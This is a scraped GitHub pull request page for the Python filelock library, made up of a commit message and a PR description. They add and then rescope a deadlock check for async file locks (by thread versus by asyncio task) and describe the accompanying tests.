The cross-instance deadlock check added in 616400e (tox-dev#586) keyed its holder registry by thread only. Every task of an event loop shares one thread, so an indefinitely-blocking acquire from a *different* task queuing behind the holder - a legitimate pattern with no deadlock risk, since each poll yields the event loop and the holder keeps running - was misreported as: RuntimeError: Deadlock: lock '...' is already held by a different BaseAsyncFileLock instance in this task. ... Only an acquire from the *same* task can genuinely self-deadlock: the polling task would wait forever for its own release. Give BaseFileLock a _deadlock_scope hook (None = thread granularity, unchanged for sync locks) and key the registry by (scope, canonical); BaseAsyncFileLock overrides it with asyncio.current_task(), falling back to thread granularity with no running loop. The scope is pinned at commit so a release issued from another task still drops the right entry. Same-task reentry still fails fast; cross-task queueing now works, closing the false positive reported downstream (harbor-framework/harbor#2348). The suggested is_singleton=True workaround remains unaffected: it trades the false positive for silently dropping in-process mutual exclusion. Tests cover blocking cross-task queueing order and cross-task release.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
BaseAsyncFileLock.acquireis missing the per-thread cross-instance deadlock check thatBaseFileLock.acquirehas. The sync path looks up the canonical lock path in the thread-local_registryand raisesRuntimeError("Deadlock: ...")when a different instance is already holding the same path on the same thread; the async path skips that step, so two distinctAsyncFileLock(orAsyncSoftFileLock) objects constructed against the same path from the same task enter the poll loop and the second one blocks forever inflock()/os.openinstead of failing fast.This PR mirrors the sync flow inside async
acquire():lock_counter += 1, compute the canonical path and look up the existing holder. If a different instance is the holder and the caller asked for indefinite blocking (timeout<0), raise the sameRuntimeErrorbefore the poll starts. Same finite/non-blocking exceptions (Timeout) still apply whentimeout >= 0orblockingisFalse, matching the sync precedence._registry.held.poponlock_counter == 0so a failed acquire cleans its would-be entry.self's id into the registry whenlock_counterreaches 1, so a future cross-instance acquire on the same path can find it.release()does — without this the stale id would linger and confuse the next cross-instance acquire.The thread-local scope of
_registryfits the asyncio model where one task typically runs on one thread; concurrent tasks on the same thread that legitimately want the same path with finite timeout are still governed by the existing_check_give_up/Timeoutpath and are not false-positives becausewould_blockrequirestimeout < 0.Reproduction
After the fix,
lock2.acquire()raisesRuntimeError('Deadlock: ...')immediately, with the same message and recovery hint as the sync path ("Useis_singleton=Trueto enable reentrant locking across instances").Tests
New file
tests/test_async_self_deadlock.pymirrors the existing synctest_self_deadlock.pycases for the async path: same-task different-instance raises, finite timeout still raisesTimeout, non-blocking still raisesTimeout, different paths no conflict, same instance reentrant,is_singleton=Trueshort-circuits, different tasks no false positive, symlink to same canonical path, cleanup on release, force release clears registry. 20 cases total. The two cross-instance and two symlink cases hang indefinitely on the unfixed code; the other 16 already pass.(The single deselected test is a pre-existing flake on the unfixed
main; it does not touch the changed code.)ruff checkandruff format --checkare both clean on the modified files.mypyreports the same 6 pre-existing errors inasyncio.py; no new ones.